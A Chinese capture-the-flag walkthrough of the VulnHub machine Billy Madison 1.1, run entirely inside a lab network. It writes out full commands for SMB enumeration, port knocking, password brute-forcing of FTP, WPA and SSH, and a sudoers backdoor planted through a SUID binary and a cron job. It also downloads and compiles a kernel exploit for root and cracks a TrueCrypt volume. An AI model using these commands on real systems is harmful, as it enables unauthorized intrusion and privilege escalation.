vulnhub-BillyMadison1dot1通关教程

主要是打多了感觉没必要在这解释太多毕竟是靶场环境。。。靶机171

nmap 192.168.135.0/24 -sP

这里我们看到445那就是smb枚举

nmap 192.168.135.171

我们发现80，22，23，139，445.2525我们从80枚举信息，139，445是smb的端口，还发现了smtp端口改成了2525可以用23telnet连接枚举它。目的都是为了拿到webshell或者sshshell。

nmap 192.168.135.171 -p- -A

对于smb的活nmap也是可以枚举的之前打过了。。。

我们发现他可以匿名登录和写入\EricsSecretStuff

Nmap -v --script smb-eunm-shared.nse -p445 192.168.135.171

我们可以通过smbclient登录smb枚举信息。

Smbclient \\\\192.168.135.171\\EricsSecretStuff\\

我们也可以用之前用过的工具枚举所有信息。这里我们发现三个用户，Billy、Veronica和Eric

Enum4linux -a 192.168.135.171

然后用smbclient进入枚举

Smbclient -L //192.168.135.171

效果是一样的

Smbclient ///EricsSecretStuff -I 192.168.135.171 -N

直接告诉我们关闭。。。又打一次。。。

这里我们连接telnet发现曾经使用过rkfpuzrahngvatROT10的密码就是现在的ROT13

Telent 192.168.135.171 23

我们可以使用在线工具来解密也可以使用kali的命令，我们知道ROT13是根据字符偏移来加密的。

echo rkfpuzrahngvat | tr a-z n-za-m

tr指令从标准输入设备读取数据，经过字符串转译后，将结果输出到标准输出设备。

我们访问web信息，发现veronica可能是一个密码的信息，我们将密码本里的veronica过滤出来,看到密码只剩733大大提升效率了。我们还发现这个无线的信息，那有cap的文件我们wfuzz测试一下。

Locate rockyou.txt

Grep ‘veronica’ /usr/share/wordlists/rockyou.txt > yang

我们利用wfuzz测试一下是否有隐藏的cap文件，我们看到确实有两个我们将其下载下来用wireshark分析。用FUZZ.cap替换用来模糊测试。

Wfuzz -c –hc=400,404 -z file,yang http://192.168.135.171/exschmenuating/FUZZ.cap

我们将他下载到本地，浏览器默认存放下载目录，我喜欢放到桌面目录。

我们用wireshark分析流量包，用tcp流来分析它。

wireshark 012987veronica.cap

tcp.stream eq 1

我们通过分析流量包，发现又是youtobe上面的视频信息，我们要科学。。。发现他需要我们进行端口敲震。

根据网站，我们观看完视频获得提示信息根据提示信息进行端口敲震，敲震完后才能看到开放了ftp端口。

knock -v 192.168.135.171 1466 67 1469 1514 1981 1986

nmap 192.168.135.171 -p21

我们发现通过敲震之后ftp端口成功开启。我们枚举出来了eric的账号密码。

Tcp.stream eq 2

eric// ericdoesntdrinkhisownpee

我们输入命令后发现没有输出显示，那是因为这个是被动模式，ftp分为两种模式，一个是主动模式一个是被动模式。被动模式是ftp开启一个IP和端口返回给客户端，客户端去连返回的这个IP和端口。。。主动模式是ftp服务器主动发起连接连接客户端的IP和端口。

ftp 192.168.135.171

passive off

因为我们下载的这个是.文件，要看到它得ls -al，cat .notes

新的隐密端口将打开，存在Wifi密码，Veronica或Billy知道密码，签入Veronica的FTP文件夹。观看了视频，13秒的视频，念了一句话：My kid will be a soccer player

新的端口开放，WiFi密码，Veronica或Billy知道密码，爆破Veronica ftp用户，发送邮件：My kid will be a soccer player

这里我们使用ncrack来爆破，要将上面的yang改为yang.txt字典。哎？好像不用改名也行的捏。。。我们得到账号veronica密码babygirl_veronica07@yahoo.com

我们登录他的ftp枚举信息。他的同样是被动模式，需要我们客户端自己去链接，IP不一致就无法访问到，我们关闭被动连接。

ftp 192.168.135.171

账号veronica密码babygirl_veronica07@yahoo.com

passive off

这里提示了用了swaks发送邮件X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/讲述了他如何破解 Eric 的无线密码

这里根据提示用swaks来进行smtp邮件发送，这里的smtp端口是2525

swaks --to eric@madisonhotels.com --from vvaughn@polyfector.edu --server 192.168.135.171:2525 --body "My kid will be a soccer player" --header "Subject: My kid will be soccer player"

.cap文件就是流量文件，流量就像Wireless traffic和eml文件一样

这边需要破解WPA/WPA2密码，可以用aircrack-ng或hashcat来完成。

aircrack-ng -w /usr/share/wordlists/rockyou.txt eg-01.cap

这个就是在爆破了的，当然还有一种方法爆破它一天不过没有必要。

hydra -l eric -P /usr/share/wordlists/rockyou.txt -s 1974 ssh://192.168.135.171

当然hashcat也是能够破解WAP的这里我就不展示了，将cap转换成hashcat能够识别的格式用hashcat的WAP格式就好

hashcat的使用方法

安装转换工具

apt install hcxtools

将其转换成hashcat支持的格式hc22000

hcxpcapngtool -o eg-01.hc22000 eg-01.cap

-m 哈希类型WPA/WPA2 -a攻击模式

hashcat -m 22000 -a 0 eg-01.hc22000 /usr/share/wordlists/rockyou.txt

这里我们爆破出了ssh的登录密码triscuit*

我们直接登录就好了

ssh eric@192.168.135.171 -p 1974

triscuit*

这里我们分析一下这个cap文件

find / -name eg-01.cap 2>/dev/null

cp /opt/coloradoftp-prime/home/veronica/eg-01.cap /tmp

我们发现这一直在连接，那么他开启了防火墙的概率很大，枚举脚本也跑不起了。。。我们只能手工枚举一些必要的东西了。。。

Cat /etc/passwd

Id billy//id veronica//id eric

枚举SUID信息我们扫出/usr/local/share/sgml/donpcgd

Find / -perm -4000 2>/dev/null

我们枚举eric的信息

Find / -name eric 2>/dev/null | grep -v “Permission denied\|proc”

Find / -name eric 2>&1 | grep -v “Permission denied\|proc”

我们运行程序发现出了问题。。。这里提示我们要有两个路径我们就自己创建一个路径在tmp下

ls -la /usr/local/share/sgml/donpcgd

cd /usr/local/share/sgml/

./donpcgd

我们在tmp下创建yang文件。输入拥有执行权限，我们再次运行程序发现运行成功，我们把目的路径换成eric发现exists

Touch yang

Echo ‘hello’ yang

/usr/local/share/sgml/donpcgd /tmp/yang /home/eric/yang

/usr/local/share/sgml/donpcgd /tmp/yang /home/eric/

这里我们成功在/home/eric/下创建了杨并且拥有写入权限，但是现在里面没有东西，懂我意思吧。我们往里写入一句话

同样的思路，我们利用donpcgd在tmp创建yang1，同时在cron.hourly下同步创建yang1，并将/bin/bash写入计划任务，1个小时后就会给我们反弹一个shell回来。

Touch /tmp/yang1

/usr/local/share/sgml/donpcgd /tmp/yang1 /etc/cron.hourly/yang1

echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /etc/cron.hourly/yang1

chmod +x /etc/cron.hourly/yang1

cat /etc/cron.hourly/yang1

发现我们成功在cron.hourly创建yang1并且成功写入/bin/bash

我们直接用内核提权进入root，我们发现可以使用45010

在kali发现漏洞库存在程序，我们只需要将其下载上传到靶机编译即可提升到root权限

Searchsploit 45010

Searchsploit -m 45010.c

Python -m http.server 8000

按照作者提示gcc编译成功提权root

Wget http://192.168.135.155:8000/45010.c

Gcc 45010.c -o yang

Chmod 777 yang

./yang

我们发现cron.hourly任务不是一个小时执行一次，是一个小时的17分钟执行一次

Cat /etc/crontab

我们发现root下没有flag信息，这个是在eric下有个加密卷，我们还有爆破密码才行

我们看看提示，这里hint.txt说密码放在了网站下，flag就放在了BowelMovement

我们发现他说flag在billy下的BowelMovement里，但是密码在网站https://en.wikipedia.org/wiki/Billy_Madison

我们用爬虫cewl一下就获得了一个字典。。。

Proxychains cewl -d 1 https://en.wikipedia.org/wiki/Billy_Madison -w yang1.txt

我们将加密卷复制到我们能够操作的用户下

Cp BowelMovement /home/eric/

我们通过scp下载到本地

scp -P 1974 eric@192.168.135.171:/home/eric/BowelMovement ./

triscuit*

这里我们使用truecrack来爆破

truecrack -v -t BowelMovement -w yang1.txt

truecrack -v -t BowelMovement -w yang1.txt | grep -v NO

我们爆破出来密码execrable

挂载加密卷，输入密码在我们电脑创建虚拟盘符

A盘里面有secret.zip下载就可以了

成功拿到了flag的信息。

总结一下我们从smb和telnet枚举出用户和ROT13加密信息，我们解密完发现是web路径，我们访问路径发现还隐藏着html信息里面是pcap的流量包，我们解析流量包发现了ftp的账号密码，我们敲震端口，打开ftp。从ftp发现eric的无线密码，破解完登录ssh。这里破解cap的包使用aircrack,速度是最快的，也能使用hydra就是密码本太大了，hashcat爆破需要将cap文件转化为hashcat能分析的格式。登录eric的ssh，我们枚举SUID发现eric的可写入可执行文件，我们无法直接运行程序，但是可以生成空文件将命令写入然后指向我们生成的文件也能指向命令。我们还发现了corn任务，按照相同的方法指向计划任务一个小时获得shell。我们用内核提权，发现了计划任务17分钟执行一次。我们发现root下没有flag，但是获得网站，破解密码得到一个加密卷，输入密码在挂载盘访问加密卷secret.txt获得本台靶机的flage。